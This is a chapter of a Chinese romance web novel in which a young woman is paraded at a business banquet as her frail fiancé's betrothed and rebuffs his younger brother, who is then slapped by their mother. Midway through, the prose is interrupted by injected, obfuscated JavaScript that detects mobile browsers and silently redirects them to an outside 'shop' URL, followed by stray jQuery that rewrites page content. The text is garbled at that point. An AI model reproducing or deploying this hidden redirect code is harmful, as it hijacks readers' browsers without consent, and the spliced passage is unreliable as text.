热水滑过身体,每一个毛孔都得到抚慰。
周围的水声没停,言今槿想起闻修其说的话:阿槿,这是一场让所有人满意的订婚。
说出口的喜欢得到的不是想要的回应。
包裹在闻修其身上的温柔在这时候变成利刃划向言今槿。
洗完澡之后,言今槿化好妆出门。
庄园有司机得到通知,专门把言今槿送到欧双的公司。昨晚上发了信息让她过去,言今槿猜想是订婚事宜。
欧双的娱乐公司越做越大,在娱乐圈的份量已经不可小觑。
言今槿到公司的时候,被直接带到办公室。王秘书给言今槿倒了水,说欧双还在开会。
办公室设计很简约,侧边看着是私人休息室。能从一些细节看出欧双经常在这边休息。桌上摆着闻修其和欧双的合照。
想到关于闻钦邶的事情,言今槿心中有细微莫名情绪。
悦雅庭很少摆照片。不管是欧双的还是闻复诚。记忆中欧双对于闻修其的身体极度关心。至于闻钦邶,从未出现在悦雅庭中。
不等言今槿多想,欧双打开门进来。
“吃饭了吗?修其怎么样?”欧双手上拿着文件,脸上的妆容精致。她的五官本来就精致,化了这种妆之后更有气势。
“好多了,我出来的时候他正在晒太阳。”
说到闻修其,两人脸上神色都软下来。
“我记得你大学时是学的服装设计。”
“是。”
“瑞尚设计公司老板是我朋友,你先在她那里挂个名。等一下有场商业宴会,你和我一起去。”
言今槿有些愣神。欧双话语坚定,明显是决定好的。
瑞尚设计公司在宛城也是排得上号的服装设计公司。但她们属于高定设计,言今槿想做的是时装。完全不是同一种。
“但我是时装,瑞尚是做高定。”言今槿轻声回。
欧双翻动手上文件的动作停下,看向远处的言今槿。眼里的锐利在暗影眼妆下有一种居高临下。
“阿槿,你是要和修其订婚的人,那么瑞尚设计师和不知名设计师你想选哪个?”
脸上还是那温和笑容,只是眼里的意味很明显。
双手握紧,脸上扬起笑容,对着欧双乖顺低头,“我知道了。”
“等一下会有人过来给你化妆,等一下和我一起去。”欧双说完后,开始打电话。门外很快就有人走进来,把言今槿带出去。
办公室安静下来后,欧双伸手按着太阳穴。
脸上笑容消失,沉沉叹气。
前几天医生说闻修其情况不怎么好。换季感冒让他的肺出了问题,要慢慢修养。从出生开始,闻修其身体就不好,后来出车祸,更是加重。
定了亲之后,闻修其身体也算是稳定下来。
可是最近却越来越多问题……
夜色降临。
商业晚宴在云香大厦顶楼。这是宛城秦家专门组的局。觥筹交错间有宛城各个行业的人。
小二层座间坐着几人。手上端着香槟谈笑。
“邶爷,你不是不感兴趣吗?你来干嘛?”余庭绗站起身往角落坐着的闻钦邶走去。
“不能来?”语气有些冲。
余庭绗挑眉,观察闻钦邶脸上的表情。
往另一边那面无表情的男子走去。雕塑般面孔,眼神透着冷,身上是最简单的沉蓝色西装。秦家独子,刚回国不久的秦安述。
“阿述,谁惹他了?”
“没兴趣。”
“你家里给你组的局,你不下去,倒是一个人躲到这里。”余庭绗转动着手上手机,满脸都是不赞同。
秦安述探头往楼下聊得兴起的众人,“这种局没什么意义。”
“是是是,你秦大少爷说的都对。”
“但面还是要露的吧。”余庭绗搭上秦安述肩膀,眨了眨眼。
“走吧,你们俩都去。”
“不去。”角落闻钦邶头没抬,滑动着手机。
秦安述脚步已经往楼下走,余庭绗侧头往下看,看到熟悉身影。“邶,那好像是欧姨。”
果然,欧双名字一出来,闻钦邶立马抬头。
闻家的人其实是不怎么出现在商业晚宴中的。要不就是别人去闻家。秦安述已经离开。要不然余庭绗还能问问这是怎么回事。
而欧双个人的公司更是不需要她自己去这些晚宴。
闻钦邶已经站起来走到余庭绗身边。
人群中立马看到那身影,还没等闻钦邶细看,就看到那跟在欧双身边的人。
一件黑色抹胸长裙把白瓷一样的皮肤盛在其中。还是那银色眼镜。脸上妆容很淡,把她本身的清冷感发挥到极致。
嘴角的浅笑减少了些距离感。
转身,紧贴曲线的露背让闻钦邶微挑眉。长发散下,能从她的行走间隐隐约约看到那长发下的白瓷脊骨。
“你笑什么?”余庭绗是知道闻钦邶和欧双之间的事。
现在看着闻钦邶脸上莫名的笑容,突然有点毛骨悚然。
“看到熟人了。”
“谁?”余庭绗快速看着下面的面孔,基本都是熟脸。就算是有新面孔,也不会是很重要的人。
还没等余庭绗开口问,闻钦邶已经缓缓往楼下走。
刚刚还懒散的人,现在兴致满满。
“瑞尚设计师?年轻有为呀。看着和修其那孩子就很配。”秦夫人摸着言今槿的手夸着。
秦安述已经站在身边,眼神看向言今槿。
对于闻修其那个未婚妻虽早有耳闻,但也是第一次见。看着是和闻修其一样的乖孩子。
欧双本身就是很有能力的人,在这场宴会很多人都想靠她和闻家攀上关系。这么一介绍,言今槿的名字立马就散出去了。
投在身上的目光越来越多,言今槿脸上笑容有些僵。
不可避免喝了几杯酒,言今槿酒量不好,也有在控制着。被欧双带着见了很多人,他们一听言今槿是闻修其未婚妻,立马从上到下打量。之后就会对欧双说着两人郎才女貌的恭维话。
听到后面,言今槿已经有些累了。
那些酒都堵在喉咙里,让言今槿脑子乱成一团。凑到欧双身边开口:“我有些醉了,去休息一下。”
“去吧。”
脱离人群之后,言今槿彻底松口气。
侧边刚好是休息台,几张藤椅摆着,周围是观赏树。这边的灯光暗一点。坐在这里能够欣赏宛城绝美夜景。
相比里面的欢声,这里是一片净土。
冷风吹着,酒味散去一点。
身后脚步声响起,言今槿回头对上闻钦邶的眼神。几乎是瞬间,在见到是闻钦邶的时候,身体已经先一步放松下来。
“瑞尚设计师?”
闻钦邶说出的话很轻,几乎散在风里。边说边往言今槿身边走。
身上西装外套盖在言今槿身上。
十月的天气,在这种露天的外台。加上言今槿穿着抹胸礼裙,风再一吹,冷意直接透骨。
还带着温度的外套罩在身上,显得言今槿更加娇小。
冷光打在言今槿脸上,让她神色迷离。脸颊微红,白瓷一样的肤色也染了嫣色。香槟味随着清风从言今槿身上吹过来,诱人沉醉。
两人之间隔着距离。
言今槿坐在藤椅上,闻钦邶直接靠在玻璃杆之上,身后是绚丽城景。一高一低之间,两人同时融入夜色之中。
“你想说什么?”或许是酒意上头,言今槿说出的话有些刺。
“你别误会,我就是过来关心关心你。”双手举起,衣袖落下。腕间那墨色玉镯在冷光中格外显眼。言今槿看着那玉镯,沉默。
清风吹过,把两人之间的沉默拉长。
对视着,只是简单对视着。
言今槿身子完全陷进椅子里,看着那被繁复灯光包围着的闻钦邶。很难说清是什么时候开始,他们之间变成一种能够享受沉默的关系。
看着言今槿脸上因酒泛起的难受,闻钦邶叹气,身子在言今槿面前蹲下。一个仰望的姿势,凑到言今槿身边。
“既然喝不了酒,就少喝点呀。难不成有人敢灌?”
未说完的话很清楚。谁敢灌闻大少爷未婚妻的酒?
不再是那种戏弄,这时候的真诚在这酒味飘散中有了别的意味。言今槿看着蹲在身前的闻钦邶,嘴角扯出一抹笑容。脑子里格外清醒。主动上前,凑近闻钦邶。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185657|197020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
因着这突然地动作,闻钦邶身子僵住。眼眸微微放大。
从言今槿身上呼出的气息太清晰。喉结滚动,酒味在这时候融在一起。言今槿唇上那变淡的红在冷光下透出妖异。
冷到极致的美人偶尔透出的妖会把贪心之人无声绞杀。
“闻钦邶,别靠近我。以后我会是你嫂子。”明明是极轻一句话,犹如爱人耳语。可言今槿说完后伸出手指重重把闻钦邶推到。
失去平衡后身子一歪,闻钦邶坐在地上。
冷光之下的言今槿,沉着声喊出的[闻钦邶]一直回荡在闻钦邶脑海中。后面的话被他自动忽略。闻钦邶三个字从她嘴里喊出来……
真好听。
闻钦邶没回答,而言今槿也不打算听。身子微晃站起来。
刚转身对上远处欧双审视眼神。言今槿心中一紧。身后的闻钦邶很显眼。欧双走过来,抬手把闻钦邶盖在言今槿身上的外套打落。
外套落在脚边,刚刚压下的酒意似乎再次席卷而来。
欧双笑着摇头,止住言今槿欲张嘴的动作。手上是为了言今槿而拿的薄毯,披在她的身上后,搂着肩轻声开口:“你也累了,我让秘书送你回老宅。”
“欧姨……”
“去吧。”
言今槿没有回头,跟着王秘书离开。
晚宴已到尾声,每个人都有一点醉意。暖黄灯光笼罩着每个人,互相谈笑着,气氛融洽。
外台之上,寂静之中。却是另一幅光景。
欧双往前走,眼神冷冷落在地上的闻钦邶。一摸一样的冷漠从他们身上散向对方。
闻钦邶明显是更占据上风的一方。
被言今槿推在地上之后,闻钦邶根本没站起来,就这么坐在地上。微微靠在玻璃栏上,头歪着看向欧双,脸上的冷狷在夜色中是一种挑衅。
“闻钦邶,你想做什么?”
“做什么?两个年轻人之间聊聊天都不行?”说完后双手一摊,眼尾耷拉下来,表现得要多无辜有多无辜。
“在外面你想跟谁聊我都不管,她是你哥的未婚妻。注意分寸。”
冷光打在欧双脸上,把她的冷漠表现得淋漓尽致。
这该是记忆中,欧双最激动的一次。从小到大,见到太多无视。这个名为母亲的女人从未正视过他。现在只因为他接近闻修其的未婚妻就这么生气。
呵。
闻钦邶轻笑一声。
“怕我动了你的人形长命锁?”
啪!
重重巴掌声响起。
细密刺痛漫上来,闻钦邶顶了顶腮帮,痛意让他兴奋。
“当初……”欧双没继续说。
“怎么不说了?当初不该生我?”极轻的语气,缓慢开口。基本是属于谈判中的技巧语势,在这时候被闻钦邶用到了欧双身上。
闻钦邶伸手摸向侧脸,缓缓站起身。伟岸身躯把欧双笼罩着。
眼神冷然看向欧双。脸上的笑消失之后,那种与闻军闻复诚一脉相承的冷血傲然开始显现。“继续说呀。”
欧双退后一步,双手抱臂冷冷看着闻钦邶。
沉默之间,时间流逝。未说出的话似乎随着刚刚那一巴掌消失,欧双转身离开。
地上的外套没人捡起。
单薄衬衫被风吹起,情绪散去后才开始感到冷。闻钦邶微挑眉把外套捡起,丢在言今槿刚刚坐着的藤椅上。
余庭绗跑进来。
“我看到欧姨刚刚来了,你们没吵架吧……”未说完的话在看到闻钦邶侧脸上的巴掌印后消失。
“邶,你没事吧。”
“没事。这椅子不错,躺着很舒服。”
余庭绗一副看傻子的表情。这不会是被打傻了吧。
“你说要是有件事被很多人说不让做,你还做不做?”
上学时认识闻钦邶开始,只要他脸上出现这种邪狷表情,就说明他想做一件大事。而且后果肯定很严重。
“邶,我觉得不要做。”
闻钦邶伸手拍在余庭绗肩上,眼里神采亮如星辰,“这椅子真的不错。很舒服。”
牛头不对马嘴的一句话。
闻钦邶说完后把西装甩到肩上,缓缓离开。